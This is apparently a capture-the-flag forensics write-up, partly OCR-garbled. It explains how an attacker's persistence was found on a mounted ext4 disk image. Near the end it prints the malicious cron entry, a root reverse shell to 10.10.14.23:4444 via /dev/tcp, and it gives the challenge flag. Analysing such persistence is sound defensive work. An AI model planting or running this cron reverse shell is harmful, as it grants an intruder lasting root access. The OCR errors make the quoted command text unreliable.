requires the full folder path to the file the attacker used to maintain access.
Part 2 requires retrieving the flag

Key Findings:
e The attacker created a fake “system update” cron job that runs every
minute as root.
e Persistence file: /fetc/cron.d/sysupdate
e The flag was hidden as a comment inside the same cron file.

Forensic Analysis:
e |dentified that challenge.img is a raw ext4 filesystem (not a partitioned
disk).
Mounted the image directly using loop device.
Located the malicious cron job in /etc/cron.d/sysupdate.

Tools Used:
WSL CLI, file, fdisk, mount, grep, cat

Solving Step-by-step:

Part1

Our web server was acting strange last night. The sysadmin managed to grab
a disk image before taking the box offline. Find out how the attacker
maintained access.

Give the folder path to the file e.g: /usr/local/bin/fileaccess

First | must make an folder for mount, and because the file image is raw
system, so no need offset, then go into file system, check is there any cron
folder, because the attacker hide the backdoor in cron folder




Part 2

Easy enough is it to get the flag?

Don't forget, the format is pu-flag{flag}
Enter flag below

After that open the cron file “cat etc/cron.d/sysupdate” In this file we will get a
fake cron job, and the hidden flag wichis “pu-flag{p3rsist3nc3_v14_crOnd}”

% cat etc/cron.d/sysupdate

GALE - SHERLOCK HOMELESS

* % % * % root bash -1 >& /dev/tcp/10.10.14.23/4444 8>8&1
: $
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